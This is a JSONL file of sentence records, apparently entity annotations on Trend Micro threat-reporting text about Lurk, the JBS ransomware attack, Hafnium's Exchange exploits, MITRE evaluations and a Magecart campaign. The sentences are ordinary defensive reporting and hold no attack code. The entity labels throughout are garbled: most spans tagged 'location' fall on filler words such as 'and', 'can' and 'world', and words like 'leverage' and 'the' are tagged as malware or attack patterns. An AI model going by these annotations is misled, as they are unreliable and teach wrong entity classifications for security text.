-{"id":9175,"text":"A multilayered approach is key, along with security-minded practices: apply the latest patches, block malware-hosting sites, implement URL categorization, employ firewalls and IDSs, and foster a culture of security in the workplace.","entities":[{"id":28312,"label":"location","start_offset":32,"end_offset":37},{"id":28313,"label":"location","start_offset":43,"end_offset":51},{"id":28314,"label":"location","start_offset":118,"end_offset":123},{"id":28315,"label":"location","start_offset":172,"end_offset":175},{"id":28316,"label":"location","start_offset":182,"end_offset":185},{"id":28317,"label":"location","start_offset":186,"end_offset":192},{"id":28318,"label":"location","start_offset":206,"end_offset":214}],"relations":[],"Comments":[]}
-{"id":9176,"text":"Defense in depth should also be considered—there are no silver bullets, no single network defense tool that can be used to deal with these threats.","entities":[{"id":28319,"label":"location","start_offset":49,"end_offset":52},{"id":28320,"label":"location","start_offset":56,"end_offset":62},{"id":28321,"label":"location","start_offset":98,"end_offset":102},{"id":28322,"label":"location","start_offset":108,"end_offset":111},{"id":28323,"label":"location","start_offset":123,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":9177,"text":"End-user systems can serve as main gateways for attackers, which is why hardening them is critical.","entities":[{"id":28324,"label":"location","start_offset":17,"end_offset":20},{"id":28325,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":9178,"text":"This includes whitelisting and monitoring suspicious applications and processes, as well as well applying least privilege principles on the systems.","entities":[{"id":28326,"label":"location","start_offset":27,"end_offset":30},{"id":28327,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":9179,"text":"The attack surface—which can come in the form of software packages (including their extensions and plugins) that can interact with untrusted components—must also be reduced.","entities":[{"id":28328,"label":"location","start_offset":25,"end_offset":28},{"id":28329,"label":"location","start_offset":95,"end_offset":98},{"id":28330,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":9180,"text":"Unused browser plugins and any functionality that lets browsers execute third-party code should be inspected and disabled.","entities":[{"id":28331,"label":"location","start_offset":23,"end_offset":26},{"id":28333,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":9181,"text":"In Lurk’s case, the group favored exploiting vulnerabilities in Flash and Java plugins for web browsers.","entities":[{"id":28335,"label":"location","start_offset":10,"end_offset":14},{"id":28336,"label":"location","start_offset":70,"end_offset":73},{"id":28337,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":9182,"text":"To mitigate intrusions, direct internet access to the organization’s internal network should be disabled, and users should be obliged to utilize application proxies instead when accessing external network resources.","entities":[{"id":28338,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":9183,"text":"This should be especially enforced for HTTP and HTTPS protocols that cybercriminals frequently leverage for their attacks.","entities":[{"id":28339,"label":"location","start_offset":44,"end_offset":47},{"id":28340,"label":"malware","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":9184,"text":"URLs and URL content (i.e. mime-types) should be stringently analyzed.","entities":[{"id":28341,"label":"location","start_offset":5,"end_offset":8},{"id":28342,"label":"location","start_offset":13,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":9185,"text":"Likewise, all executable content should be considered with a grain of salt—especially if they’ve been downloaded from unknown sources.","entities":[{"id":28343,"label":"location","start_offset":25,"end_offset":32},{"id":28344,"label":"location","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":9186,"text":"Continuously monitoring the network for spikes of suspicious behavior—or those that may first appear as benign—can also help detect intrusion attempts.","entities":[{"id":28345,"label":"location","start_offset":84,"end_offset":87},{"id":28347,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":9187,"text":"For instance, a significant number of machines within the organization’s network suddenly attempting to resolve and connect to a domain name never observed before can indicate a network infection or exploit.","entities":[{"id":28348,"label":"location","start_offset":112,"end_offset":115},{"id":28349,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":9188,"text":"Network detection and endpoint security systems can also help notify system administrators and direct them to artifacts left by successful or failed exploit attempts.","entities":[{"id":28350,"label":"location","start_offset":18,"end_offset":21},{"id":28351,"label":"location","start_offset":31,"end_offset":39},{"id":28352,"label":"location","start_offset":48,"end_offset":51},{"id":28353,"label":"location","start_offset":91,"end_offset":94},{"id":28354,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":9189,"text":"End users must ultimately keep pace: regularly update the system, and take caution against random or socially engineered links from suspicious or spoofed emails and websites.","entities":[{"id":28355,"label":"location","start_offset":31,"end_offset":35},{"id":28356,"label":"location","start_offset":66,"end_offset":69},{"id":28357,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":9190,"text":"Trend Micro Solutions Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats such as fileless infections and those that abuse unpatched vulnerabilities.","entities":[{"id":28360,"label":"location","start_offset":50,"end_offset":53},{"id":28361,"label":"location","start_offset":68,"end_offset":78},{"id":28362,"label":"location","start_offset":169,"end_offset":172}],"relations":[],"Comments":[]}
-{"id":9191,"text":"OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed.","entities":[{"id":28364,"label":"location","start_offset":27,"end_offset":37},{"id":28365,"label":"location","start_offset":38,"end_offset":45},{"id":28366,"label":"location","start_offset":72,"end_offset":75},{"id":28367,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":9192,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect similar threats even without any engine or pattern update.","entities":[{"id":28369,"label":"location","start_offset":68,"end_offset":71},{"id":28370,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":9193,"text":"A list of pertinent Indicators of Compromise (IoCs) can be found in this appendix.","entities":[{"id":28371,"label":"location","start_offset":2,"end_offset":6},{"id":28372,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":9194,"text":"Updated as of February 6, 2017, 10:05 PM (UTC-7): We updated to include observed systems from other countries that connected to IP addresses operated by Lurk.","entities":[{"id":28374,"label":"TIME","start_offset":32,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9195,"text":"Updated as of February 9, 2017, 1:44 AM (UTC-7): We updated to include the latest news about the arrests of suspected members of the group.        Tags  APT & Targeted Attacks | Malware | Endpoints | Research","entities":[{"id":28377,"label":"TIME","start_offset":32,"end_offset":39},{"id":28378,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":9196,"text":"One of the largest meat suppliers in the world, JBS was recently affected by a ransomware attack.","entities":[{"id":28380,"label":"location","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":9197,"text":"In a statement released on May 30, 2021, the company said that the attack affected some of its servers that support its North American and Australian IT Systems.","entities":[{"id":28384,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":9198,"text":"According to a report by Bloomberg, JBS USA had shutdowns at its nine beef plants on Tuesday, May 31.","entities":[{"id":28389,"label":"malware","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":9199,"text":"The company's meatpacking facilities across the US have also experienced some level of disruptions to operations, said an official with the United Food and Commercial Workers International Union.","entities":[],"relations":[],"Comments":[]}
-{"id":9200,"text":"Meanwhile, JBS's slaughter operations in 47 sites across Australia were also disrupted.","entities":[{"id":28394,"label":"location","start_offset":17,"end_offset":26},{"id":28396,"label":"location","start_offset":44,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":9201,"text":"David Littleproud, Australia's agriculture minister, said that the attack had locked up the systems JBS used for quality assurance in meat processing.","entities":[{"id":28401,"label":"location","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":9202,"text":"On Tuesday, the Brazilian meat supply giant said that while the ransomware attack affected its Australia and North America operations, their systems were slowly being restored from backup.","entities":[{"id":28404,"label":"location","start_offset":31,"end_offset":37},{"id":28406,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":9203,"text":"The FBI, the Australian, and Canadian authorities have been helping JBS to locate the attackers, which are believed to be in Russia.","entities":[{"id":28410,"label":"location","start_offset":25,"end_offset":28},{"id":28413,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":9204,"text":"In a statement released on June 2, the FBI attributed the attack to REvil and Sodinokibi.","entities":[{"id":28418,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":9205,"text":"The bureau added that they are \"working diligently to bring the threat actors to justice\"","entities":[{"id":28420,"label":"location","start_offset":4,"end_offset":10},{"id":28421,"label":"location","start_offset":27,"end_offset":30},{"id":28422,"label":"location","start_offset":81,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":9206,"text":"According to Principle Press Secretary Karine Jean-Pierre, the White House also is working directly with the Department of Agriculture.","entities":[{"id":28423,"label":"location","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":9207,"text":"The White House has also reached out to various meat processors in the US, ensuring that they are aware of the situation.","entities":[{"id":28429,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":9208,"text":"The JBS cyber attack comes just three weeks after Colonial Pipeline, the US's largest pipeline system, was targeted in a ransomware attack.","entities":[],"relations":[],"Comments":[]}
 {"id":9209,"text":"Earlier in May, Ireland's Health Service Executive (HSE) was also hit by a ransomware attack, which continues to result in major issues.","entities":[{"id":28438,"label":"identity","start_offset":66,"end_offset":69},{"id":28439,"label":"location","start_offset":123,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":9210,"text":"Twenty days later, HSE continues to face IT system difficulties, causing delays in some of its services.","entities":[],"relations":[],"Comments":[]}
-{"id":9211,"text":"With ransomware and various cyber-attacks continually targeting critical infrastructure and enterprises, the need for stronger and more robust cybersecurity is important more than ever.","entities":[{"id":28442,"label":"location","start_offset":16,"end_offset":19},{"id":28443,"label":"location","start_offset":88,"end_offset":91},{"id":28444,"label":"location","start_offset":127,"end_offset":130},{"id":28445,"label":"location","start_offset":180,"end_offset":184}],"relations":[],"Comments":[]}
 {"id":9212,"text":"Executives and decision-makers must understand that cybersecurity is not just an IT issue but a major element that affects the entire organization and its operations.","entities":[{"id":28446,"label":"location","start_offset":11,"end_offset":14},{"id":28447,"label":"identity","start_offset":73,"end_offset":77},{"id":28448,"label":"location","start_offset":84,"end_offset":89},{"id":28449,"label":"location","start_offset":96,"end_offset":101},{"id":28450,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":9213,"text":"At the forefront of cybersecurity solutions, Trend Micro offers extensive forward-looking research and studies, aiming to help enterprises and decision-makers safeguard their businesses and infrastructures.","entities":[{"id":28452,"label":"location","start_offset":99,"end_offset":102},{"id":28453,"label":"location","start_offset":139,"end_offset":142},{"id":28454,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":9214,"text":"To learn more about keeping your enterprise secure, read \"Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running\" which explores security issues faced by smart factories and defense strategies that can be used.","entities":[{"id":28455,"label":"location","start_offset":33,"end_offset":43},{"id":28457,"label":"location","start_offset":158,"end_offset":166},{"id":28458,"label":"location","start_offset":199,"end_offset":202},{"id":28459,"label":"location","start_offset":227,"end_offset":230}],"relations":[],"Comments":[]}
-{"id":9215,"text":"       Tags  Latest News | ICS OT | APT & Targeted Attacks | Ransomware | Articles, News, Reports | Cyber Threats","entities":[{"id":28460,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":9216,"text":"At least 30,000 organizations are already thought to have been attacked in the US, but the number may be much larger globally — giving the hackers remote control over victims’ systems.","entities":[{"id":28462,"label":"location","start_offset":30,"end_offset":33},{"id":28464,"label":"location","start_offset":98,"end_offset":101},{"id":28465,"label":"location","start_offset":105,"end_offset":109},{"id":28466,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":9217,"text":"In our most recent check of Shodan, there are still around 63,000 exposed servers vulnerable to these exploits.","entities":[{"id":28467,"label":"location","start_offset":7,"end_offset":11},{"id":28468,"label":"location","start_offset":19,"end_offset":24},{"id":28470,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":9218,"text":"Applying the available patches should be a top priority, or disconnect any vulnerable servers you may be running if you can’t patch immediately.","entities":[{"id":28472,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":9219,"text":"At this time, anyone with an Exchange server needs to take investigative steps to check for signs of compromise.","entities":[{"id":28473,"label":"location","start_offset":8,"end_offset":12},{"id":28475,"label":"location","start_offset":82,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":9220,"text":"We fully echo the recommendations from Microsoft and others.","entities":[{"id":28476,"label":"location","start_offset":9,"end_offset":13},{"id":28478,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":9221,"text":"In addition, existing XDR customers can use pre-built queries in Trend Micro Vision One to search for signs of the attack in their environment.","entities":[{"id":28479,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":9222,"text":"These queries can be found in our Knowledge Base article, along with details on the added detections and protections that customers can leveraged across all security solutions.","entities":[{"id":28481,"label":"location","start_offset":14,"end_offset":17},{"id":28483,"label":"location","start_offset":58,"end_offset":63},{"id":28484,"label":"location","start_offset":101,"end_offset":104},{"id":28485,"label":"location","start_offset":132,"end_offset":135},{"id":28486,"label":"location","start_offset":157,"end_offset":165}],"relations":[],"Comments":[]}
 {"id":9223,"text":"What happened?","entities":[],"relations":[],"Comments":[]}
 {"id":9224,"text":"The attacks have been traced back to January 6, 2021, when a new threat group subsequently labelled “Hafnium” by Microsoft began exploiting four zero-day bugs in Microsoft Exchange Server.","entities":[{"id":28488,"label":"threat-actor","start_offset":101,"end_offset":108},{"id":28493,"label":"location","start_offset":172,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":9225,"text":"The group is using virtual private servers (VPS) located in the US to try to hide its true location.","entities":[{"id":28495,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":9226,"text":"Microsoft issued emergency out-of-band patches last week, saying at the time:  “In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments.”","entities":[{"id":28498,"label":"location","start_offset":72,"end_offset":76},{"id":28499,"label":"location","start_offset":171,"end_offset":179},{"id":28500,"label":"location","start_offset":228,"end_offset":231},{"id":28501,"label":"location","start_offset":289,"end_offset":293}],"relations":[],"Comments":[]}
-{"id":9227,"text":"If chained, the vulnerabilities could be exploited to allow attackers to authenticate as the Exchange server, run code as System and write a file to any path on the server.","entities":[{"id":28502,"label":"location","start_offset":93,"end_offset":101},{"id":28503,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":9228,"text":"After exploiting the four bugs, Hafnium is said to deploy web shells which allow the group to steal data and perform additional malicious actions to further compromise their targets.","entities":[{"id":28506,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":9229,"text":"This could include deploying ransomware to victim organizations.","entities":[],"relations":[],"Comments":[]}
-{"id":9230,"text":" Both the White House and the US Cybersecurity and Infrastructure Security Agency (CISA) are extremely concerned about the far-reaching consequences of the campaign.","entities":[{"id":28508,"label":"location","start_offset":22,"end_offset":25},{"id":28511,"label":"location","start_offset":89,"end_offset":92},{"id":28512,"label":"location","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":9231,"text":"CISA ordered government agencies to patch now or disconnect their on-premises Exchange servers.","entities":[],"relations":[],"Comments":[]}
 {"id":9232,"text":" There is also a possible connection to the Chopper ASPX web shell research we published back in January 2021.","entities":[{"id":28516,"label":"attack-pattern","start_offset":57,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":9233,"text":"Trend Micro Research is analyzing further how the campaigns may be related, and whether additional related campaigns may be underway.","entities":[{"id":28519,"label":"location","start_offset":60,"end_offset":63},{"id":28520,"label":"location","start_offset":76,"end_offset":79},{"id":28521,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":9234,"text":"Am I impacted?","entities":[],"relations":[],"Comments":[]}
-{"id":9235,"text":" In Microsoft’s initial assessment it claimed that Hafnium has previously targeted organizations in sectors such as infectious disease research, legal, higher education, defense, policy think tanks and NGOs.","entities":[{"id":28524,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":9236,"text":"However, there are suggestions that the latest expansive wave of attacks may be the work of other threat actors.","entities":[{"id":28526,"label":"location","start_offset":15,"end_offset":18},{"id":28527,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
 {"id":9237,"text":"Whatever the source, former CISA boss Chris Krebs warns that SMBs, education sector organizations, and state and local governments may be disproportionately affected as these often have fewer resources to spend on security.","entities":[{"id":28528,"label":"attack-pattern","start_offset":13,"end_offset":19},{"id":28530,"label":"location","start_offset":33,"end_offset":37},{"id":28532,"label":"location","start_offset":99,"end_offset":102},{"id":28533,"label":"location","start_offset":109,"end_offset":112},{"id":28534,"label":"location","start_offset":131,"end_offset":134},{"id":28535,"label":"location","start_offset":214,"end_offset":222}],"relations":[],"Comments":[]}
-{"id":9238,"text":" If you run on-premises Exchange Servers, here is how to check if you’re impacted:   ","entities":[{"id":28536,"label":"location","start_offset":24,"end_offset":32},{"id":28537,"label":"location","start_offset":57,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":9239,"text":"Scan your Exchange Server logs with the Microsoft detection tool to check for compromise.","entities":[{"id":28538,"label":"location","start_offset":10,"end_offset":18},{"id":28540,"label":"location","start_offset":60,"end_offset":64},{"id":28541,"label":"location","start_offset":68,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":9240,"text":"Run a manual sweep with Trend Micro Vision One for the known Indicators of Compromise (IoCs) associated with this campaign.","entities":[{"id":28543,"label":"location","start_offset":114,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":9241,"text":" What happens next?","entities":[],"relations":[],"Comments":[]}
-{"id":9242,"text":" If you’ve run a scan and found that your environment hasn’t yet been compromised, and you haven’t yet patched, apply the patches released by Microsoft as soon as possible.","entities":[{"id":28544,"label":"location","start_offset":22,"end_offset":25},{"id":28545,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":9243,"text":"If you run the scan using Microsoft’s tool and see evidence that an attacker may have exploited these vulnerabilities in your environment, you are now in incident response mode.","entities":[{"id":28548,"label":"location","start_offset":38,"end_offset":42},{"id":28549,"label":"location","start_offset":43,"end_offset":46},{"id":28550,"label":"location","start_offset":77,"end_offset":80},{"id":28551,"label":"location","start_offset":143,"end_offset":146},{"id":28552,"label":"location","start_offset":172,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":9244,"text":"But the approach you take may depend on your in-house resources and situation.","entities":[{"id":28553,"label":"location","start_offset":26,"end_offset":29},{"id":28554,"label":"location","start_offset":48,"end_offset":53},{"id":28555,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":9245,"text":"Here’s our advice for SMB and enterprise organizations.","entities":[{"id":28556,"label":"location","start_offset":26,"end_offset":29},{"id":28557,"label":"location","start_offset":30,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":9246,"text":" If you don’t have an in-house security team, contact your security vendor or MSP for support.","entities":[{"id":28558,"label":"location","start_offset":25,"end_offset":30},{"id":28559,"label":"location","start_offset":31,"end_offset":39},{"id":28560,"label":"location","start_offset":46,"end_offset":53},{"id":28561,"label":"location","start_offset":59,"end_offset":67},{"id":28562,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":9247,"text":"If you have an in-house incident response team, they will work to identify next steps.","entities":[{"id":28563,"label":"location","start_offset":18,"end_offset":23},{"id":28564,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":9248,"text":"Do not re","entities":[],"relations":[],"Comments":[]}
 {"id":9249,"text":"image any machines until after a forensic scan has been done to ensure you’ve preserved any IoCs.","entities":[],"relations":[],"Comments":[]}
-{"id":9250,"text":"Contact your legal team to discuss breach notification requirements.","entities":[{"id":28565,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":9251,"text":" For more information on Trend Micro’s detections and added protections specific to this campaign, please see this Knowledge Base article, which will be updated as more information is learned: https:\/\/success.trendmicro.com\/solution\/000285882.        Tags  Latest News | APT & Targeted Attacks | Exploits & Vulnerabilities | Articles, News, Reports | Data center","entities":[{"id":28567,"label":"location","start_offset":50,"end_offset":53},{"id":28568,"label":"location","start_offset":89,"end_offset":97},{"id":28569,"label":"location","start_offset":145,"end_offset":149},{"id":28570,"label":"location","start_offset":184,"end_offset":191},{"id":28572,"label":"location","start_offset":271,"end_offset":274},{"id":28573,"label":"location","start_offset":356,"end_offset":362}],"relations":[],"Comments":[]}
-{"id":9252,"text":"By developing a common language to arm analysts with a standard to describe attacks, MITRE ATT&CK has become a critical knowledgebase for cyber defenders, ultimately improving security efficiency and response time.","entities":[{"id":28574,"label":"location","start_offset":35,"end_offset":38},{"id":28575,"label":"location","start_offset":55,"end_offset":63},{"id":28577,"label":"location","start_offset":176,"end_offset":184},{"id":28578,"label":"location","start_offset":196,"end_offset":199},{"id":28579,"label":"location","start_offset":209,"end_offset":213}],"relations":[],"Comments":[]}
-{"id":9253,"text":"The annual MITRE Evaluation compares industry-wide innovation to deliver the solutions necessary to detect and respond to the evolving threat landscape.","entities":[{"id":28582,"label":"location","start_offset":37,"end_offset":45},{"id":28583,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":9254,"text":"The evaluation offers cybersecurity solution buyers and customers with an unbiased option to evaluate security products to arm themselves against the latest advances from attackers based on their areas of greatest need.","entities":[{"id":28584,"label":"location","start_offset":52,"end_offset":55},{"id":28585,"label":"location","start_offset":102,"end_offset":110},{"id":28586,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":9255,"text":" This year’s evaluation saw vendors detect and respond to tactics, techniques, and procedures (TTPs) from two emulated adversary scenarios that are broadly defining modern ransomware today — Wizard Spider, a cybercriminal extortion gang, and Sandworm, a disruptive threat group focused on data destruction.","entities":[{"id":28588,"label":"location","start_offset":43,"end_offset":46},{"id":28589,"label":"location","start_offset":79,"end_offset":82},{"id":28591,"label":"location","start_offset":144,"end_offset":147},{"id":28593,"label":"threat-actor","start_offset":191,"end_offset":204},{"id":28594,"label":"location","start_offset":238,"end_offset":241},{"id":28595,"label":"threat-actor","start_offset":242,"end_offset":250}],"relations":[],"Comments":[]}
 {"id":9256,"text":"Critical evaluation categories include:  Analytic Coverage: Enriched detections to deliver greater context to investigation by adding ATT&CK TTP mapping, improving triage for analysts.","entities":[],"relations":[],"Comments":[]}
-{"id":9257,"text":"Visibility: Clear availability of analytic or telemetry information to enable faster response time for incident response and threat hunting.","entities":[{"id":28596,"label":"location","start_offset":12,"end_offset":17},{"id":28597,"label":"location","start_offset":94,"end_offset":98},{"id":28598,"label":"location","start_offset":121,"end_offset":124},{"id":28599,"label":"location","start_offset":132,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":9258,"text":"Protection: Threat prevention and blocking to deflect risk early-on and optimize holistic security team efforts.","entities":[{"id":28600,"label":"location","start_offset":0,"end_offset":10},{"id":28601,"label":"location","start_offset":30,"end_offset":33},{"id":28602,"label":"location","start_offset":59,"end_offset":64},{"id":28603,"label":"location","start_offset":68,"end_offset":71},{"id":28604,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":9259,"text":" Trend Micro’s Unified Cybersecurity Platform Recorded Impressive Results For the third year in a row Trend Micro Vision One proved itself as an invaluable tool for security teams.","entities":[{"id":28608,"label":"location","start_offset":156,"end_offset":160},{"id":28609,"label":"location","start_offset":165,"end_offset":173}],"relations":[],"Comments":[]}
 {"id":9260,"text":"It tested against simulated breaches that included 109 total attack steps.","entities":[],"relations":[],"Comments":[]}
 {"id":9261,"text":"Detection: Delivered on 19\/19 attack steps in the evaluation, for 100% detection.","entities":[],"relations":[],"Comments":[]}
-{"id":9262,"text":"Visibility: Provided clear visibility on 105 out of 109 attack methods providing 96.33% coverage.","entities":[{"id":28613,"label":"location","start_offset":21,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":9263,"text":"Protection: Top ranking in the protection category, offering 100% prevention.","entities":[{"id":28617,"label":"location","start_offset":0,"end_offset":10},{"id":28618,"label":"location","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":9264,"text":"Linux: Top performance among leading vendors, detecting and preventing 100% of attacks against the Linux host.","entities":[{"id":28620,"label":"location","start_offset":56,"end_offset":59},{"id":28622,"label":"location","start_offset":105,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":9265,"text":"Trend Micro recommends customers prioritize Linux coverage considering its popularity as the most used OS in cloud-native applications.","entities":[{"id":28624,"label":"location","start_offset":93,"end_offset":97},{"id":28625,"label":"location","start_offset":109,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":9266,"text":" Trend Micro Vision One correlates intelligence across email, endpoints, servers, networks and cloud workloads to generate fewer but higher fidelity alerts for security operations (SecOps) teams.","entities":[{"id":28627,"label":"location","start_offset":91,"end_offset":94},{"id":28628,"label":"location","start_offset":95,"end_offset":100},{"id":28629,"label":"location","start_offset":140,"end_offset":148},{"id":28630,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":9267,"text":"The increase in efficiency simplifies investigations, optimizes SecOps productivity, and accelerates remediation to stop threat actors in their tracks before they have a chance to cause lasting damage.","entities":[{"id":28631,"label":"location","start_offset":85,"end_offset":88},{"id":28632,"label":"malware","start_offset":116,"end_offset":120},{"id":28633,"label":"location","start_offset":170,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":9268,"text":"Vision One connect the dots in security incidents, showing how they might be related and highlighting indicators of compromise similar to known attack groups and types.","entities":[{"id":28635,"label":"location","start_offset":31,"end_offset":39},{"id":28636,"label":"location","start_offset":85,"end_offset":88},{"id":28637,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":9269,"text":"To read a full copy of the MITRE Engenuity ATT&CK Evaluation for Trend Micro Vision One report, please visit: https:\/\/resources.trendmicro.com\/MITRE-Attack-Evaluations.html        Tags  Cloud | Latest News | Cyber Threats | APT & Targeted Attacks | Endpoints | Network | Articles, News, Reports","entities":[{"id":28639,"label":"location","start_offset":71,"end_offset":76},{"id":28640,"label":"location","start_offset":84,"end_offset":87},{"id":28642,"label":"location","start_offset":186,"end_offset":191},{"id":28643,"label":"location","start_offset":224,"end_offset":227}],"relations":[],"Comments":[]}
 {"id":9270,"text":"We uncovered a recent activity involving the notorious online credit card skimming attack known as Magecart.","entities":[],"relations":[],"Comments":[]}
-{"id":9271,"text":"The attack, facilitated by a new cybercrime group, impacted 201 online campus stores in the United States and Canada.","entities":[{"id":28646,"label":"location","start_offset":71,"end_offset":77},{"id":28648,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":9272,"text":"We started detecting the attacks against multiple campus store websites on April 14, during which the sites were injected with a malicious skimming script (detected by Trend Micro as Trojan.JS.MIRRORTHEIF.AA) at their payment checkout pages.","entities":[{"id":28650,"label":"location","start_offset":50,"end_offset":56},{"id":28652,"label":"location","start_offset":102,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":9273,"text":"The skimming script can scrape credit card information, as well as personal details entered on the payment page.","entities":[{"id":28654,"label":"location","start_offset":20,"end_offset":23},{"id":28655,"label":"location","start_offset":107,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":9274,"text":"The stolen information is consequently sent to a remote server.","entities":[{"id":28656,"label":"location","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":9275,"text":"After looking into this attack, we learned that the attackers compromised PrismWeb, which is an e-commerce platform designed for college stores by company PrismRBS, a subsidiary of Nebraska Book Company.","entities":[{"id":28657,"label":"location","start_offset":35,"end_offset":42},{"id":28658,"label":"location","start_offset":98,"end_offset":106},{"id":28659,"label":"location","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":9276,"text":"The attacker injected their skimming script into the shared JavaScript libraries used by online stores on the PrismWeb platform.","entities":[],"relations":[],"Comments":[]}
-{"id":9277,"text":"We confirmed that their scripts were loaded by 201 campus book and merchandise online stores, which serves 176 colleges and universities in the U.S. and 21 in Canada.","entities":[{"id":28664,"label":"location","start_offset":51,"end_offset":57},{"id":28665,"label":"location","start_offset":58,"end_offset":62},{"id":28666,"label":"location","start_offset":63,"end_offset":66},{"id":28668,"label":"location","start_offset":120,"end_offset":123},{"id":28670,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":9278,"text":"The amount of payment information that was stolen is still unknown.","entities":[],"relations":[],"Comments":[]}
 {"id":9279,"text":"We disclosed our findings to PrismRBS.","entities":[],"relations":[],"Comments":[]}
-{"id":9280,"text":"The company has since released an official statement regarding the skimming attack: \"On April 26, 2019, PrismRBS became aware that an unauthorized third-party obtained access to some of our customers’ e-commerce websites that PrismRBS hosts.","entities":[{"id":28677,"label":"location","start_offset":203,"end_offset":211}],"relations":[],"Comments":[]}
